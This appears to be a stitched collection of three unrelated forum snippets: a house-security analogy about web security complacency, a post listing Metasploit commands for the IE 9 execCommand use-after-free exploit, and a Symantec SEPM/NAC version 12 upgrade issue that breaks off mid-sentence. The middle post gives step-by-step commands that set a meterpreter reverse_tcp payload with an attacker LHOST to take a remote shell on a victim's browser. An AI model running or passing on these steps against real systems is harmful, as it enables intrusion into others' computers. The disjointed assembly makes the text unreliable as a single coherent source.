Imagine you are looking for a new home and after a considerable amount of research and time you find the perfect place for your budget.  As you settle in and begin to meet with your new neighbors you discover an alarming trend.  Within the past 6 months about one in eight of the homes in the neighborhood experienced a major security issue such as armed break ins, cat burglars snatching information, or someone redirecting their mail to a foreign address.  You wonder if these people are unlucky or have you moved into a bad neighborhood.  When you share your findings with a friend they respond with "I'm sure you're fine!  Just check the locks on the doors every 6 months."

You may find this illustration laughable but it reflects how some IT managers respond to their web security. 

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Hello
We got a discovered vulnerability in IE 9 on 17/09/2012 which can be exploited as following command in Backtrack 5 R2

Metasploit:

- msfupdate
- Use exploit / windows / browser / ie_execcommand_uaf
- Set SRVHOST 192,168 ...
- Set PAYLOAD windows / Meterpreter / reverse_tcp
- Set LHOST 192,168 ...
- exploit

Let's beware the networking.

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Hi

I was using SEPM and NAC MR6MP3.

I decided to upgrade to version 12!!!

after upgrading SEPM and NAC to version 12 and assigning packages to the groups, I checked some clients,All SEP features like Antivirus,Sonar and NTP was running but Network Access Control (NAC) feature was not available and running on them.

I checked some documents about SEP 12 and it is a known issue in SEP 12 and unfortunately for me in NAC!

http://www.symantec.com/business/support/index?pag...

The issue occurs under the following conditions in upgrade process.

1.  You have an 11.x SEPM with packages assigned to the groups.  

2.  The packages have "Maintain existing client features when updating" unchecked

The solutions in this article...